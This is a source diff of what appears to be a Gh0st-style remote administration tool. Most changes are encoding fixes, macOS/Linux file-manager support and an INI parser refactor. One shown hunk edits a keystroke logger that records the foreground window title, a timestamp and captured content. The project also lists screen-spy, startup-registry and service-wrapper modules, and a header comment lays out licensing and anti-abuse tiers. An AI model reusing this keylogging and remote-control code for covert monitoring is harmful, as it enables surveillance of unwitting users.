LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
|
LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
|
||||||
@@ -26,7 +26,7 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
|
|||||||
|
|
||||||
IDD_DIALOG DIALOGEX 0, 0, 180, 108
|
IDD_DIALOG DIALOGEX 0, 0, 180, 108
|
||||||
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
||||||
CAPTION "消息提示"
|
CAPTION "消息提示"
|
||||||
FONT 10, "System", 0, 0, 0x0
|
FONT 10, "System", 0, 0, 0x0
|
||||||
BEGIN
|
BEGIN
|
||||||
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
|
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
|
||||||
@@ -61,7 +61,7 @@ END
|
|||||||
|
|
||||||
2 TEXTINCLUDE
|
2 TEXTINCLUDE
|
||||||
BEGIN
|
BEGIN
|
||||||
"#include ""afxres.h""\r\n"
|
"#include ""winres.h""\r\n"
|
||||||
"\0"
|
"\0"
|
||||||
END
|
END
|
||||||
|
|
||||||
@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
|||||||
//
|
//
|
||||||
|
|
||||||
VS_VERSION_INFO VERSIONINFO
|
VS_VERSION_INFO VERSIONINFO
|
||||||
FILEVERSION 1,0,3,2
|
FILEVERSION 1,0,3,3
|
||||||
PRODUCTVERSION 1,0,0,1
|
PRODUCTVERSION 1,0,0,1
|
||||||
FILEFLAGSMASK 0x3fL
|
FILEFLAGSMASK 0x3fL
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
@@ -106,7 +106,7 @@ BEGIN
|
|||||||
BEGIN
|
BEGIN
|
||||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||||
VALUE "FileDescription", "A GHOST"
|
VALUE "FileDescription", "A GHOST"
|
||||||
VALUE "FileVersion", "1.0.3.2"
|
VALUE "FileVersion", "1.0.3.3"
|
||||||
VALUE "InternalName", "ServerDll.dll"
|
VALUE "InternalName", "ServerDll.dll"
|
||||||
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
||||||
VALUE "OriginalFilename", "ServerDll.dll"
|
VALUE "OriginalFilename", "ServerDll.dll"
|
||||||
@@ -132,7 +132,7 @@ IDI_ICON_MAIN ICON "Res\\ghost.ico"
|
|||||||
|
|
||||||
IDI_ICON_MSG ICON "Res\\msg.ico"
|
IDI_ICON_MSG ICON "Res\\msg.ico"
|
||||||
|
|
||||||
#endif // 中文(简体,中国) resources
|
#endif // 中文(简体,中国) resources
|
||||||
/////////////////////////////////////////////////////////////////////////////
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -264,8 +264,14 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //要
|
|||||||
LPBYTE szBuffer = *(LPBYTE*)lParam;
|
LPBYTE szBuffer = *(LPBYTE*)lParam;
|
||||||
char szTitle[1024];
|
char szTitle[1024];
|
||||||
memset(szTitle, 0, sizeof(szTitle));
|
memset(szTitle, 0, sizeof(szTitle));
|
||||||
//得到系统传递进来的窗口句柄的窗口标题
|
// 用 W 接口取标题再转 UTF-8 写入 szTitle,避免依赖客户端 CP_ACP;
|
||||||
GetWindowText(hWnd, szTitle, sizeof(szTitle));
|
// 服务端 SystemDlg::ShowWindowsList 按 UTF-8 解码后用宽字符塞进 ListCtrl。
|
||||||
|
wchar_t wTitle[1024] = {};
|
||||||
|
GetWindowTextW(hWnd, wTitle, _countof(wTitle));
|
||||||
|
if (wTitle[0]) {
|
||||||
|
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1,
|
||||||
|
szTitle, sizeof(szTitle), NULL, NULL);
|
||||||
|
}
|
||||||
//这里判断 窗口是否可见 或标题为空
|
//这里判断 窗口是否可见 或标题为空
|
||||||
BOOL m_bShowHidden = TRUE;
|
BOOL m_bShowHidden = TRUE;
|
||||||
if (!m_bShowHidden && !IsWindowVisible(hWnd)) {
|
if (!m_bShowHidden && !IsWindowVisible(hWnd)) {
|
||||||
|
|||||||
Binary file not shown.
@@ -2,6 +2,15 @@
|
|||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#if DISABLE_X264_FOR_TEST
|
||||||
|
CX264Encoder::CX264Encoder() { memset(&m_Param, 0, sizeof(m_Param)); m_pCodec = NULL; m_pPicIn = NULL; m_pPicOut = NULL; }
|
||||||
|
CX264Encoder::~CX264Encoder() {}
|
||||||
|
bool CX264Encoder::open(int, int, int, int) { return false; }
|
||||||
|
bool CX264Encoder::open(x264_param_t*) { return false; }
|
||||||
|
void CX264Encoder::close() {}
|
||||||
|
int CX264Encoder::encode(uint8_t*, uint8_t, uint32_t, uint32_t, uint32_t, uint8_t**, uint32_t*, int) { return -1; }
|
||||||
|
|
||||||
|
#else
|
||||||
#ifdef _WIN64
|
#ifdef _WIN64
|
||||||
#pragma comment(lib,"libyuv/libyuv_x64.lib")
|
#pragma comment(lib,"libyuv/libyuv_x64.lib")
|
||||||
#pragma comment(lib,"x264/libx264_x64.lib")
|
#pragma comment(lib,"x264/libx264_x64.lib")
|
||||||
@@ -153,3 +162,5 @@ int CX264Encoder::encode(
|
|||||||
*lpSize = encode_size;
|
*lpSize = encode_size;
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -5,6 +5,8 @@ extern "C" {
|
|||||||
#include <x264\x264.h>
|
#include <x264\x264.h>
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#define DISABLE_X264_FOR_TEST 0
|
||||||
|
|
||||||
class CX264Encoder
|
class CX264Encoder
|
||||||
{
|
{
|
||||||
private:
|
private:
|
||||||
|
|||||||
@@ -209,6 +209,7 @@
|
|||||||
<ClCompile Include="reg_startup.c" />
|
<ClCompile Include="reg_startup.c" />
|
||||||
<ClCompile Include="SafeThread.cpp" />
|
<ClCompile Include="SafeThread.cpp" />
|
||||||
<ClCompile Include="ScreenManager.cpp" />
|
<ClCompile Include="ScreenManager.cpp" />
|
||||||
|
<ClCompile Include="ScreenPreview.cpp" />
|
||||||
<ClCompile Include="ScreenSpy.cpp" />
|
<ClCompile Include="ScreenSpy.cpp" />
|
||||||
<ClCompile Include="ServicesManager.cpp" />
|
<ClCompile Include="ServicesManager.cpp" />
|
||||||
<ClCompile Include="ServiceWrapper.c" />
|
<ClCompile Include="ServiceWrapper.c" />
|
||||||
@@ -257,6 +258,7 @@
|
|||||||
<ClInclude Include="SafeThread.h" />
|
<ClInclude Include="SafeThread.h" />
|
||||||
<ClInclude Include="ScreenCapturerDXGI.h" />
|
<ClInclude Include="ScreenCapturerDXGI.h" />
|
||||||
<ClInclude Include="ScreenManager.h" />
|
<ClInclude Include="ScreenManager.h" />
|
||||||
|
<ClInclude Include="ScreenPreview.h" />
|
||||||
<ClInclude Include="ScreenSpy.h" />
|
<ClInclude Include="ScreenSpy.h" />
|
||||||
<ClInclude Include="ServicesManager.h" />
|
<ClInclude Include="ServicesManager.h" />
|
||||||
<ClInclude Include="ServiceWrapper.h" />
|
<ClInclude Include="ServiceWrapper.h" />
|
||||||
|
|||||||
@@ -94,9 +94,17 @@ int Save(int key_stroke)
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (foreground) {
|
if (foreground) {
|
||||||
|
// 用 W 接口取标题再转 UTF-8,避免依赖客户端系统 ANSI 代码页:
|
||||||
|
// 老路径 GetWindowTextA 输出的字节是客户端 CP_ACP(中文机=GBK),
|
||||||
|
// 服务端按自己的 CP_ACP 解释会乱码(例如德语机=CP1252)。
|
||||||
char window_title[MAX_PATH] = {};
|
char window_title[MAX_PATH] = {};
|
||||||
GET_PROCESS_EASY(GetWindowTextA);
|
wchar_t wTitle[MAX_PATH] = {};
|
||||||
GetWindowTextA(foreground, (LPSTR)window_title, MAX_PATH);
|
GET_PROCESS_EASY(GetWindowTextW);
|
||||||
|
GetWindowTextW(foreground, wTitle, MAX_PATH);
|
||||||
|
if (wTitle[0]) {
|
||||||
|
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1,
|
||||||
|
window_title, MAX_PATH, NULL, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
if (strcmp(window_title, lastwindow) != 0) {
|
if (strcmp(window_title, lastwindow) != 0) {
|
||||||
strcpy_s(lastwindow, sizeof(lastwindow), window_title);
|
strcpy_s(lastwindow, sizeof(lastwindow), window_title);
|
||||||
@@ -107,7 +115,7 @@ int Save(int key_stroke)
|
|||||||
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay,
|
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay,
|
||||||
s.wHour, s.wMinute, s.wSecond);
|
s.wHour, s.wMinute, s.wSecond);
|
||||||
|
|
||||||
output << "\r\n\r\n[标题:] " << window_title << "\r\n[时间:]" << tm << "\r\n[内容:]";
|
output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Content:]";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -84,4 +84,41 @@ namespace clip {
|
|||||||
LeaveCriticalSection(&GetClipLock());
|
LeaveCriticalSection(&GetClipLock());
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 将 UTF-8 字符串安全地设置到 Windows 剪切板
|
||||||
|
*/
|
||||||
|
inline bool set_text_utf8(const std::string& utf8_str) {
|
||||||
|
if (utf8_str.empty()) return false;
|
||||||
|
|
||||||
|
// 1. 将 UTF-8 转换为 UTF-16 (因为 Windows 剪切板原生支持 UTF-16)
|
||||||
|
int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, NULL, 0);
|
||||||
|
if (wlen <= 0) return false;
|
||||||
|
|
||||||
|
// 2. 分配全局内存
|
||||||
|
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, wlen * sizeof(wchar_t));
|
||||||
|
if (!hMem) return false;
|
||||||
|
|
||||||
|
// 3. 执行转换并锁定内存
|
||||||
|
wchar_t* pMem = (wchar_t*)GlobalLock(hMem);
|
||||||
|
MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, pMem, wlen);
|
||||||
|
GlobalUnlock(hMem);
|
||||||
|
|
||||||
|
// 4. 操作剪切板
|
||||||
|
bool success = false;
|
||||||
|
if (OpenClipboard(NULL)) {
|
||||||
|
EmptyClipboard();
|
||||||
|
if (SetClipboardData(CF_UNICODETEXT, hMem)) {
|
||||||
|
success = true;
|
||||||
|
}
|
||||||
|
CloseClipboard();
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果 SetClipboardData 失败,需要手动释放内存;成功则由系统接管
|
||||||
|
if (!success) {
|
||||||
|
GlobalFree(hMem);
|
||||||
|
}
|
||||||
|
|
||||||
|
return success;
|
||||||
|
}
|
||||||
} // namespace clip
|
} // namespace clip
|
||||||
|
|||||||
52
client/sign_shim_unix.cpp
Normal file
52
client/sign_shim_unix.cpp
Normal file
@@ -0,0 +1,52 @@
|
|||||||
|
// sign_shim_unix.cpp - Linux/macOS adapter for libsign.a's C interface
|
||||||
|
//
|
||||||
|
// libsign.a 公开 ABI 是 C linkage(避免 std::string 跨编译器/跨 libstdc++
|
||||||
|
// 版本 ABI 风险),但 YAMA 客户端代码(IOCPClient.cpp / KernelManager.cpp /
|
||||||
|
// linux/main.cpp / macos/main.mm)习惯用 std::string 调用 signMessage /
|
||||||
|
// verifyMessage。本文件提供 C++ 适配,让两边契合。
|
||||||
|
//
|
||||||
|
// Windows 不编译这个文件——Windows 直接链接私有 .lib 提供的 std::string 版本。
|
||||||
|
|
||||||
|
#include <string>
|
||||||
|
#include <cstring>
|
||||||
|
|
||||||
|
// libsign.a 提供的 C 接口
|
||||||
|
extern "C" {
|
||||||
|
int signMessage_c(const char* privateKey, int privateKeyLen,
|
||||||
|
const unsigned char* msg, int msgLen,
|
||||||
|
char* outBuf, int outBufSize);
|
||||||
|
int verifyMessage_c(const char* publicKey, int publicKeyLen,
|
||||||
|
const unsigned char* msg, int msgLen,
|
||||||
|
const char* sigHex, int sigLen);
|
||||||
|
int isVerifyCalled_c(void);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 与 YAMA common/commands.h 中 BYTE 一致
|
||||||
|
typedef unsigned char BYTE;
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// 提供 YAMA 既有声明所期望的 C++ 符号
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
std::string signMessage(const std::string& privateKey, BYTE* msg, int len)
|
||||||
|
{
|
||||||
|
char buf[65] = {};
|
||||||
|
int n = signMessage_c(privateKey.c_str(), (int)privateKey.size(),
|
||||||
|
msg, len,
|
||||||
|
buf, sizeof(buf));
|
||||||
|
if (n != 64) return std::string();
|
||||||
|
return std::string(buf, 64);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool verifyMessage(const std::string& publicKey, BYTE* msg, int len,
|
||||||
|
const std::string& signature)
|
||||||
|
{
|
||||||
|
return verifyMessage_c(publicKey.c_str(), (int)publicKey.size(),
|
||||||
|
msg, len,
|
||||||
|
signature.data(), (int)signature.size()) != 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int isVerifyCalled()
|
||||||
|
{
|
||||||
|
return isVerifyCalled_c();
|
||||||
|
}
|
||||||
@@ -1,8 +1,24 @@
|
|||||||
|
/**
|
||||||
|
* FileManager.h - Unix File Manager
|
||||||
|
*
|
||||||
|
* Implements file transfer between Windows server and Unix client.
|
||||||
|
* Supports: browse, upload, download, delete, rename, create folder
|
||||||
|
*
|
||||||
|
* PLATFORM SUPPORT:
|
||||||
|
* - Linux: Supported
|
||||||
|
* - macOS: Supported
|
||||||
|
* - Windows: NOT SUPPORTED (Windows uses different file APIs)
|
||||||
|
*/
|
||||||
|
|
||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64)
|
||||||
|
#error "FileManager.h is not supported on Windows."
|
||||||
|
#endif
|
||||||
|
|
||||||
#include <dirent.h>
|
#include <dirent.h>
|
||||||
#include <sys/stat.h>
|
#include <sys/stat.h>
|
||||||
#include <sys/statvfs.h>
|
#include <sys/statvfs.h>
|
||||||
#include <iconv.h>
|
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
#include <cstring>
|
#include <cstring>
|
||||||
#include <string>
|
#include <string>
|
||||||
@@ -11,15 +27,19 @@
|
|||||||
#include <fstream>
|
#include <fstream>
|
||||||
#include <sstream>
|
#include <sstream>
|
||||||
#include <cerrno>
|
#include <cerrno>
|
||||||
|
|
||||||
|
#ifdef __APPLE__
|
||||||
|
#include <sys/mount.h> // macOS: statfs for filesystem type
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <iconv.h> // Character encoding conversion (GBK <-> UTF-8)
|
||||||
|
|
||||||
|
// FileTransferV2 is in the same directory (common/)
|
||||||
#include "FileTransferV2.h"
|
#include "FileTransferV2.h"
|
||||||
|
|
||||||
// 外部声明 clientID(在 main.cpp 中定义)
|
// External declaration of clientID (defined in main.cpp/main.mm)
|
||||||
extern uint64_t g_myClientID;
|
extern uint64_t g_myClientID;
|
||||||
|
|
||||||
// ============== Linux File Manager ==============
|
|
||||||
// Implements file transfer between Windows server and Linux client
|
|
||||||
// Supports: browse, upload, download, delete, rename, create folder
|
|
||||||
|
|
||||||
#define MAX_SEND_BUFFER 65535
|
#define MAX_SEND_BUFFER 65535
|
||||||
|
|
||||||
class FileManager : public IOCPManager
|
class FileManager : public IOCPManager
|
||||||
@@ -222,6 +242,13 @@ private:
|
|||||||
// ---- Get root filesystem type ----
|
// ---- Get root filesystem type ----
|
||||||
static std::string getRootFsType()
|
static std::string getRootFsType()
|
||||||
{
|
{
|
||||||
|
#ifdef __APPLE__
|
||||||
|
struct statfs sf;
|
||||||
|
if (statfs("/", &sf) == 0) {
|
||||||
|
return std::string(sf.f_fstypename); // "apfs", "hfs", etc.
|
||||||
|
}
|
||||||
|
return "apfs";
|
||||||
|
#else
|
||||||
std::ifstream f("/proc/mounts");
|
std::ifstream f("/proc/mounts");
|
||||||
std::string line;
|
std::string line;
|
||||||
while (std::getline(f, line)) {
|
while (std::getline(f, line)) {
|
||||||
@@ -232,6 +259,7 @@ private:
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
return "ext4";
|
return "ext4";
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
// ---- Ensure parent directory exists (mkdir -p for parent of file path) ----
|
// ---- Ensure parent directory exists (mkdir -p for parent of file path) ----
|
||||||
@@ -307,7 +335,11 @@ private:
|
|||||||
memcpy(buf + offset + 2, &totalMB, sizeof(unsigned long));
|
memcpy(buf + offset + 2, &totalMB, sizeof(unsigned long));
|
||||||
memcpy(buf + offset + 6, &freeMB, sizeof(unsigned long));
|
memcpy(buf + offset + 6, &freeMB, sizeof(unsigned long));
|
||||||
|
|
||||||
|
#ifdef __APPLE__
|
||||||
|
const char* typeName = "macOS";
|
||||||
|
#else
|
||||||
const char* typeName = "Linux";
|
const char* typeName = "Linux";
|
||||||
|
#endif
|
||||||
int typeNameLen = strlen(typeName) + 1;
|
int typeNameLen = strlen(typeName) + 1;
|
||||||
memcpy(buf + offset + 10, typeName, typeNameLen);
|
memcpy(buf + offset + 10, typeName, typeNameLen);
|
||||||
|
|
||||||
@@ -1,7 +1,24 @@
|
|||||||
|
/**
|
||||||
|
* FileTransferV2.h - Unix V2 File Transfer Protocol
|
||||||
|
*
|
||||||
|
* Implements V2 file transfer protocol for Unix clients.
|
||||||
|
* Supports: receive files from server/C2C, send files to server/C2C
|
||||||
|
*
|
||||||
|
* PLATFORM SUPPORT:
|
||||||
|
* - Linux: Supported
|
||||||
|
* - macOS: Supported
|
||||||
|
* - Windows: NOT SUPPORTED (Windows uses different file APIs)
|
||||||
|
*/
|
||||||
|
|
||||||
#pragma once
|
#pragma once
|
||||||
#include "common/commands.h"
|
|
||||||
#include "common/file_upload.h"
|
#if defined(_WIN32) || defined(_WIN64)
|
||||||
#include "client/IOCPClient.h"
|
#error "FileTransferV2.h is not supported on Windows."
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include "commands.h"
|
||||||
|
#include "file_upload.h"
|
||||||
|
#include "../client/IOCPClient.h"
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
#include <sys/stat.h>
|
#include <sys/stat.h>
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
@@ -15,10 +32,6 @@
|
|||||||
#include <fstream>
|
#include <fstream>
|
||||||
#include <thread>
|
#include <thread>
|
||||||
|
|
||||||
// ============== Linux V2 File Transfer ==============
|
|
||||||
// Implements V2 file transfer protocol for Linux client
|
|
||||||
// Supports: receive files from server/C2C, send files to server/C2C
|
|
||||||
|
|
||||||
class FileTransferV2
|
class FileTransferV2
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
@@ -50,47 +50,71 @@ public:
|
|||||||
char line[4096];
|
char line[4096];
|
||||||
|
|
||||||
while (fgets(line, sizeof(line), f)) {
|
while (fgets(line, sizeof(line), f)) {
|
||||||
// 去除行尾换行符
|
ParseLine(line, currentSection);
|
||||||
size_t len = strlen(line);
|
|
||||||
while (len > 0 && (line[len - 1] == '\n' || line[len - 1] == '\r'))
|
|
||||||
line[--len] = '\0';
|
|
||||||
|
|
||||||
if (len == 0)
|
|
||||||
continue;
|
|
||||||
|
|
||||||
// 跳过注释
|
|
||||||
if (line[0] == ';' || line[0] == '#')
|
|
||||||
continue;
|
|
||||||
|
|
||||||
// 检测 section 头: [SectionName]
|
|
||||||
// 真正的 section 头:']' 后面没有 '='(否则是 key=value)
|
|
||||||
if (line[0] == '[') {
|
|
||||||
char* end = strchr(line, ']');
|
|
||||||
if (end) {
|
|
||||||
char* eqAfter = strchr(end + 1, '=');
|
|
||||||
if (!eqAfter) {
|
|
||||||
// 纯 section 头,如 [Strings]
|
|
||||||
*end = '\0';
|
|
||||||
currentSection = line + 1;
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
// ']' 后有 '=',如 [使用FRP]=[Using FRP],当作 key=value 处理
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 不在任何 section 内则跳过
|
fclose(f);
|
||||||
if (currentSection.empty())
|
return true;
|
||||||
continue;
|
|
||||||
|
|
||||||
// 解析 key=value(只按第一个 '=' 分割,不 trim)
|
|
||||||
// key 和 value 均做反转义(\n \r \t \\ \")
|
|
||||||
char* eq = strchr(line, '=');
|
|
||||||
if (eq && eq != line) {
|
|
||||||
*eq = '\0';
|
|
||||||
std::string key = Unescape(std::string(line));
|
|
||||||
std::string value = Unescape(std::string(eq + 1));
|
|
||||||
m_sections[currentSection][key] = value;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 从内存加载 INI 数据,返回是否成功
|
||||||
|
// 用于加载嵌入的资源数据
|
||||||
|
bool LoadFromMemory(const char* data, size_t size)
|
||||||
|
{
|
||||||
|
Clear();
|
||||||
|
|
||||||
|
if (!data || size == 0)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
std::string currentSection;
|
||||||
|
const char* p = data;
|
||||||
|
const char* end = data + size;
|
||||||
|
|
||||||
|
while (p < end) {
|
||||||
|
// 找到行尾
|
||||||
|
const char* lineEnd = p;
|
||||||
|
while (lineEnd < end && *lineEnd != '\n' && *lineEnd != '\r')
|
||||||
|
lineEnd++;
|
||||||
|
|
||||||
|
// 复制行内容
|
||||||
|
size_t lineLen = lineEnd - p;
|
||||||
|
if (lineLen > 0 && lineLen < 4096) {
|
||||||
|
char line[4096];
|
||||||
|
memcpy(line, p, lineLen);
|
||||||
|
line[lineLen] = '\0';
|
||||||
|
ParseLine(line, currentSection);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 跳过换行符
|
||||||
|
p = lineEnd;
|
||||||
|
while (p < end && (*p == '\n' || *p == '\r'))
|
||||||
|
p++;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 追加加载(不清除现有数据,用于覆盖)
|
||||||
|
bool LoadFileAppend(const char* filePath)
|
||||||
|
{
|
||||||
|
if (!filePath || !filePath[0])
|
||||||
|
return false;
|
||||||
|
|
||||||
|
FILE* f = nullptr;
|
||||||
|
#ifdef _MSC_VER
|
||||||
|
if (fopen_s(&f, filePath, "r") != 0 || !f)
|
||||||
|
return false;
|
||||||
|
#else
|
||||||
|
f = fopen(filePath, "r");
|
||||||
|
if (!f)
|
||||||
|
return false;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
std::string currentSection;
|
||||||
|
char line[4096];
|
||||||
|
|
||||||
|
while (fgets(line, sizeof(line), f)) {
|
||||||
|
ParseLine(line, currentSection);
|
||||||
}
|
}
|
||||||
|
|
||||||
fclose(f);
|
fclose(f);
|
||||||
@@ -138,6 +162,52 @@ public:
|
|||||||
private:
|
private:
|
||||||
TSections m_sections;
|
TSections m_sections;
|
||||||
|
|
||||||
|
// 解析单行 INI 内容
|
||||||
|
void ParseLine(char* line, std::string& currentSection)
|
||||||
|
{
|
||||||
|
// 去除行尾换行符
|
||||||
|
size_t len = strlen(line);
|
||||||
|
while (len > 0 && (line[len - 1] == '\n' || line[len - 1] == '\r'))
|
||||||
|
line[--len] = '\0';
|
||||||
|
|
||||||
|
if (len == 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
// 跳过注释
|
||||||
|
if (line[0] == ';' || line[0] == '#')
|
||||||
|
return;
|
||||||
|
|
||||||
|
// 检测 section 头: [SectionName]
|
||||||
|
// 真正的 section 头:']' 后面没有 '='(否则是 key=value)
|
||||||
|
if (line[0] == '[') {
|
||||||
|
char* end = strchr(line, ']');
|
||||||
|
if (end) {
|
||||||
|
char* eqAfter = strchr(end + 1, '=');
|
||||||
|
if (!eqAfter) {
|
||||||
|
// 纯 section 头,如 [Strings]
|
||||||
|
*end = '\0';
|
||||||
|
currentSection = line + 1;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
// ']' 后有 '=',如 [使用FRP]=[Using FRP],当作 key=value 处理
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 不在任何 section 内则跳过
|
||||||
|
if (currentSection.empty())
|
||||||
|
return;
|
||||||
|
|
||||||
|
// 解析 key=value(只按第一个 '=' 分割,不 trim)
|
||||||
|
// key 和 value 均做反转义(\n \r \t \\ \")
|
||||||
|
char* eq = strchr(line, '=');
|
||||||
|
if (eq && eq != line) {
|
||||||
|
*eq = '\0';
|
||||||
|
std::string key = Unescape(std::string(line));
|
||||||
|
std::string value = Unescape(std::string(eq + 1));
|
||||||
|
m_sections[currentSection][key] = value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 反转义:将字面量 \n \r \t \\ \" 转为对应的控制字符
|
// 反转义:将字面量 \n \r \t \\ \" 转为对应的控制字符
|
||||||
static std::string Unescape(const std::string& s)
|
static std::string Unescape(const std::string& s)
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -1,6 +1,115 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
// LANChecker.h - 检测本进程的TCP连接是否有外网IP
|
// ============================================================================
|
||||||
// 用于试用版License限制:仅允许内网连接
|
// LANChecker.h — 远程控制软件的反滥用 / 合规执行模块
|
||||||
|
// ============================================================================
|
||||||
|
//
|
||||||
|
// 立场与背景
|
||||||
|
// ----------------------------------------------------------------------------
|
||||||
|
// 本软件提供远程桌面与设备管理能力,理论上具备被滥用为非授权远程控制 / 监控
|
||||||
|
// 工具的可能性。为防止此类滥用,并明确合规边界,本模块在客户端进程内实施
|
||||||
|
// 分级强制性技术限制:能力随授权级别开放,越权使用形态会被本模块的检测路径
|
||||||
|
// 捕获并以可见方式提醒终端用户(弹窗 / 终止进程)。
|
||||||
|
//
|
||||||
|
// 本模块的存在不是装饰,而是出厂安全姿态的一部分。任何试图通过外部手段
|
||||||
|
// 屏蔽弹窗、拦截日志、patch 二进制以禁用本模块的行为,均构成对最终用户
|
||||||
|
// 授权协议(EULA)的违反,发行方对此类绕过行为产生的后果不承担任何责任,
|
||||||
|
// 并保留通过授权服务器侧黑名单、签发吊销等手段进一步处置的权利。
|
||||||
|
//
|
||||||
|
// 授权分级与强制约束
|
||||||
|
// ----------------------------------------------------------------------------
|
||||||
|
//
|
||||||
|
// ┌─────────────┬─────────────────────┬──────────────────────────────────┐
|
||||||
|
// │ 层级 │ 适用场景 │ 本模块强制的限制 │
|
||||||
|
// ├─────────────┼─────────────────────┼──────────────────────────────────┤
|
||||||
|
// │ 无口令 │ 个人单机自用 │ 监听端口数 ≤ 2 │
|
||||||
|
// │ │ (非远程业务) │ (单设备本地管理足够) │
|
||||||
|
// ├─────────────┼─────────────────────┼──────────────────────────────────┤
|
||||||
|
// │ 试用口令 │ 内部 LAN 设备管理 │ 监听端口数 ≤ 20 │
|
||||||
|
// │ │ 严禁跨网使用 │ 入站连接源 IP 必须为私网段 │
|
||||||
|
// │ │ │ 心跳 RTT 中位数 ≤ 25ms │
|
||||||
|
// │ │ │ 周期性回连授权服务器 │
|
||||||
|
// ├─────────────┼─────────────────────┼──────────────────────────────────┤
|
||||||
|
// │ 正式授权 │ 跨网远程业务 │ 需具备正当使用理由 │
|
||||||
|
// │ │ (含跨地远程监控) │ 由发行方人工审核签发 │
|
||||||
|
// │ │ │ 本程序仅做技术校验 │
|
||||||
|
// └─────────────┴─────────────────────┴──────────────────────────────────┘
|
||||||
|
//
|
||||||
|
// 各层级的设计意图:
|
||||||
|
//
|
||||||
|
// * 无口令档:仅满足"个人在自己一台机器上做远程登录 / 应急自救"这类
|
||||||
|
// 极轻量诉求,端口数限制确保它无法被改造成多租户中转。
|
||||||
|
//
|
||||||
|
// * 试用口令档:开放给"小公司 / 团队在自家 LAN 内统一管理一批设备"
|
||||||
|
// 的真实使用场景。所有限制(LAN-only、RTT 阈值、心跳)都围绕一个
|
||||||
|
// 目的:让这台 server 只能服务真实物理同网段的客户端,无法通过任何
|
||||||
|
// 形式的代理 / 隧道 / NAT 转发暴露给公网,从而封堵"用试用口令对外
|
||||||
|
// 提供远程服务"的滥用路径。
|
||||||
|
//
|
||||||
|
// * 正式授权档:唯一允许真正跨网远程业务的形态。授权签发流程在程序
|
||||||
|
// 之外(人工评估申请人身份、合规义务、用途说明),程序本身只承担
|
||||||
|
// 技术校验。这一档存在的目的是给合规客户提供完整能力。
|
||||||
|
//
|
||||||
|
// 授权与责任划分(重要)
|
||||||
|
// ----------------------------------------------------------------------------
|
||||||
|
// 发行方的责任仅限于:
|
||||||
|
// (a) 提供具备本文件所述反滥用机制的软件实现;
|
||||||
|
// (b) 在授权签发环节进行合理的身份核验与用途说明审查。
|
||||||
|
//
|
||||||
|
// 授权一经签发,被授权方即作为"运营者"独立承担其使用行为的全部法律与
|
||||||
|
// 道义责任,包括但不限于:
|
||||||
|
//
|
||||||
|
// 1. 遵守其所在司法辖区关于个人隐私、计算机信息系统安全、数据保护、
|
||||||
|
// 工作场所监控、未成年人保护等一切现行有效的法律法规;
|
